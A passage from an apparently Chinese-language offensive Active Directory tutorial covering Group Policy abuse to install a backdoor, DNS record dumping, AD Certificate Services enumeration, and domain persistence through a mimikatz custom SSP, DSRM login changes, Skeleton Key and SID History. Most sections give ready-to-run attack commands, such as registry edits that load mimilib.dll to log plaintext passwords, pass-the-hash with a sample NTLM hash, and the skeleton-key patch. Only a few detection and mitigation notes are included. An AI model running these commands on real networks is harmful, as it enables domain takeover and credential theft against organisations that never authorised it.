OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。 在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString -Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。-Context Computer: 指定了操作的上下文为计算机级别的首选项。-Action Create: 指定了创建注册表值。-Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run": 指定了注册表键的路径为"HKLM\Software\Microsoft\Windows\CurrentVersion\Run",即在计算机启动时执行的自动运行程序列表。-ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。-Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。-Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。SharpGPOAbusehttps://github.com/FSecureLABS/SharpGPOAbuse 使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。 SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" 强制策略更新 之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。 gpupdate /force EndFor GPO attacks,I think it have some ways to delve deeper. These are several articles that can be used for learning. https://xz.aliyun.com/t/7289#toc-0https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aceshttps://wald0.com/?p=112https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/https://adsecurity.org/?p=3658https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_AD DNS Records默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。 https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/ 使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。 git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install. adidnsdump -u domain_name\\username ldap://10.10.10.10 -r cat records.csv 在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。 如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。 但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。 一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。 使用adidnsdump可以列举DNS区域中的所有记录。 要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。 adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --print-zones 如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。 要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。 如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。 adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --dns-tcp AD Certificateshttps://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf https://zhuanlan.zhihu.com/p/402961562 https://blog.csdn.net/heisejiuhuche/article/details/129224570 https://cloud.tencent.com/developer/article/2013603 https://zhuanlan.zhihu.com/p/383587237 https://cloud.tencent.com/developer/article/1937718 https://www.cnblogs.com/mtgold/p/15665575.html AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。 这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。 证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。 证书的组成部分 主题(Subject)- 证书的所有者。公钥(Public Key)- 将主题与单独存储的私钥关联起来。NotBefore 和 NotAfter 日期 - 定义证书的有效期限。序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。签名算法(Signature Algorithm)- 指定用于签署证书的算法。签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。ADCS概念 PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate databaseCertificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权CA(Certificate Authority)- 签发证书的服务Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户Principal - 域中的主体,可以是用户,也可以是服务Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。 AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置: Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:一个pKIEnrollmentService对象类属性包含CA证书字节的cACertificate属性dNSHostName属性设置CA的DNS主机名certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。 NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。客户端证书请求流程 这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。 证书模板 AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com> AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。 AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。 https://www.pkisolutions.com/object-identifiers-oid-in-pki/ 证书注册 管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。 AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。 证书模板注册权限 ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。企业CA的注册权限 企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。 这最终会在CA服务器上的注册表项HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。 低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。 发布要求 管理批准 CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。 登记代理、授权签名和应用策略 授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。 这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现): Windows用户对目标证书模板具有登记权限。如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。如果证书模板的架构版本为2:该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。该模板的“应用策略”颁发限制必须设置为“证书请求代理”。请求证书 使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username [email protected] -password Passw0rd -web -debug与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider\_CEP\_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep\_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。证书认证 AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。 Kerberos 身份验证和 NTAuthCertificates 容器 总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。 更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。 这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象: CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com> 通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。 这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。 在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根! 安全通道 (Schannel) 身份验证 Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。 在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。 当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。 如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成。 一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。 AD CS 枚举 就像对于AD的大部分内容一样,通过查询LDAP作为域身份验证但没有特权的用户,可以获取到前面提到的所有信息。 如果我们想枚举企业CA及其设置,可以在CN=Configuration,DC=<domain>,DC=<com>搜索基础上使用(objectCategory=pKIEnrollmentService) LDAP筛选器进行LDAP查询(此搜索基础对应于AD林的配置命名上下文)。结果将标识出CA服务器的DNS主机名、CA名称本身、证书的开始和结束日期、各种标志、已发布的证书模板等。 AD CS 枚举工具 Certify是一个使用C#编写的工具,可以枚举有关AD CS环境的有用配置和基础结构信息,并可以以多种不同的方式请求证书。https://github.com/GhostPack/Certify Certipy是一个Python工具,可以从任何能够生成BloodHound输出的系统(具有对DC的访问权限)中枚举和滥用Active Directory证书服务(AD CS)。https://github.com/ly4k/Certipy # https://github.com/GhostPack/Certify Certify.exe cas #枚举受信任的根CA证书、NTAuthCertificates对象定义的证书以及有关企业CA的各种信息 Certify.exe find #枚举证书模板 Certify.exe find /vulnerable #枚举可修复证书模板 # https://github.com/ly4k/Certipy certipy find -u [email protected] -p Passw0rd -dc-ip 172.16.126.128 certipy find -vulnerable [-hide-admins] -u [email protected] -p Passw0rd -dc-ip 172.16.126.128 #搜索易受攻击的模板 certutil.exe -TCAInfo #枚举企业CA certutil -v -dstemplate #枚举证书模板 Custom SSPhttps://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp https://blog.csdn.net/weixin_42282189/article/details/120103661 https://blog.csdn.net/qq_41617902/article/details/128742631 SSP即Security Support Provider(安全支持提供者)是一个用于实现身份验证的DLL文件,主要用于Windows操作系统的身份认证功能。 当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。 当我们在域环境内对LSA进行拓展自定义DLL文件时,就能够获取到lsass.exe进程中的明文密码,即使修改密码重新登陆,我们依旧可以获得密码,达到域权限维持的效果。 SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。 SSPI负责找到两台想要通信的计算机所需的适当协议。首选方法是Kerberos。然后SSPI将协商使用哪种认证协议,这些认证协议被称为安全支持提供程序(Security Support Provider,SSP),以DLL的形式存在于每台Windows计算机中,双方计算机必须支持相同的SSP才能进行通信。 Kerberos :首选 %windir%\Windows\System32\kerberos.dllNTLMv1和NTLMv2 :兼容性原因 %windir%\Windows\System32\msv1_0.dll摘要:Web 服务器和 LDAP,MD5 哈希形式的密码 %windir%\Windows\System32\Wdigest.dllSchannel :SSL 和 TLS %windir%\Windows\System32\Schannel.dllNegotiate :用于协商要使用的协议(Kerberos 或 NTLM 是 Kerberos 的默认协议) %windir%\Windows\System32\lsasrv.dll如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作,获取目标lsass.exe进程中的明文密码。 攻击方式注入LSASS进程通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件中。(需要注销,但是不能重启) C:\Windows\System32\mimilsa.log mimikatz.exe "privilege::debug" "misc::memssp" exit //注意,很有可能会导致目标主机直接死机重启,例如Windows server 2016 然后注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件。 使用工具PCHunter查看lsass进程。 修改注册表扩展功能将mimikatz中的 mimilib.dll 传到目标域控的C:\windows\system32\目录下,使用dll的位数与目标操作系统保持一致。该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。(需要重启,并且重启之后仍有效) 默认情况下,HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages该注册表项默认值为“”。 将mimilib.dll复制到域控C:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)。 在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录密码。 修改注册表,在键值Security Packages下添加 mimilib.dll,系统重启后会记录登陆密码。 //查看注册表Security Packages的值。 reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages" //添加注册表Security Packages的值,只添加mimilib.dll也可以,每一个字符串使用 \0 进行分隔。 reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ 域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码。 痕迹特征Windows Event 4622[需开启收集日志才会有]。 文件创建:mimilsa.log、kiwissp.log。 注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages。 mimilib.dll文件也存在特征。 DSRM凭据目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。 在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。 当我们已经拿下域控,使用DSRM凭据进行权限维持。DSRM就是域控机器的本地administrator账户。(域控机器的本地administrator账户是不能通过net user administrator password命令进行密码修改的,正常情况也是无法进行登录) 使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash privilege::debug token::elevate lsadump::sam 修改DSRM的登录方式 DSRM有三种登录方式,具体如下: 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器2:在任何情况下,都可以使用DSRM管理员账号登录域控制器在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。 New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD privilege::Debug sekurlsa::pth /domain:AD-1-2016 /user:administrator /ntlm:1a44db2e8b368a053202da00bc30cdba 或者我们可以直接将DSRM账户的HASH修改成我们已经获取到明文的HASH值,这样就可以进行明文登录。 adminw 0ec4b410903c6dc7594464f27d347497 //User!@#45 将DSRM账号和adminw的NTLM Hash同步(为DSRM设置新密码),使用工具NTDSUTIL。 ntdsutil //打开ntdsutil set DSRM password //修改DSRM的密码 sync from domain account adminw //使DSRM的密码和指定域用户的密码同步 q //退出DSRM密码设置模式 q //退出ntdsutil 发现已经成功修改HASH 修改后可以直接在域控机器登录本地administrator账户。 该账户权限与域控机器账户权限类似,可以直接使用DCSync功能导出域内HASH。 防御方法定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该值为1,或者删除该键值。定期修改域中所有域控制器的DSRM账号。经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。万能密码Skeleton Key 是一种专门针对 Active Directory 域的恶意软件,它使得劫持任何账户变得异常容易。该恶意软件将自身注入到 LSASS 进程中,并创建了一个适用于域中任意账户的主密码。现有的密码仍然有效,因此很难察觉到这种攻击的发生。 攻击要求 为了进行这种攻击,攻击者必须具有域管理员权限(使用DSRM中的域控本地Administrator账户也可以)。为了完全控制,这种攻击必须在每个域控制器上执行,但即使只针对单个域控制器进行攻击也可能有效(需要在域内所有域控上执行)。重新启动域控制器将会移除该恶意软件,并且攻击者需要重新部署它(域控重启后则无效)。使用mimikatz在域控上执行即可,之后可以使用默认密码mimikatz作为任何用户进行认证。 privilege::debug misc::skeleton 这时我们在成员机进行连接。 注意:如果您看到“系统错误 86 已发生。指定的网络密码不正确”消息,请尝试使用域名\账户格式作为用户名,这样应该就可以正常工作了。 如果 lsass 已经打了skeletal 补丁,那么会出现这个错误: 痕迹事件: 系统事件 ID 7045 - 系统中安装了一个服务。(内核模式驱动程序类型)安全事件 ID 4673 - 敏感权限使用(必须启用“审核特权使用”)事件 ID 4611 - 一个受信任的登录过程已经在本地安全性机构注册(必须启用“审核特权使用”)Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "Kernel Mode Driver"} 这只能检测到mimidrv Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$.message -like "Kernel Mode Driver" -and $.message -like "mimidrv"} 缓解措施: 将 lsass.exe 作为受保护的进程运行,这将强制攻击者加载一个内核模式驱动程序。 New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose 重新启动后验证: Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "protected process"} SID History每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有SID,计算机、用户组和服务同样也有SID,并且这些SID互不相同,这样才能保证所标识实体的唯一性。 SID History是在域迁移过程中需要使用的一个属性。 如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。 SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。 使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限(或者是修改用户SIDHistory属性的权限),则可以将SID History作为实现持久化的方法。 privilege::debug //https://blog.csdn.net/HBohan/article/details/119805869 sid::patch //将administrator的SID添加到man06的SID History属性中,或者直接后接SID sid::add /sam:man06 /new:administrator 注意:使用sid::patch需要有两个要求: 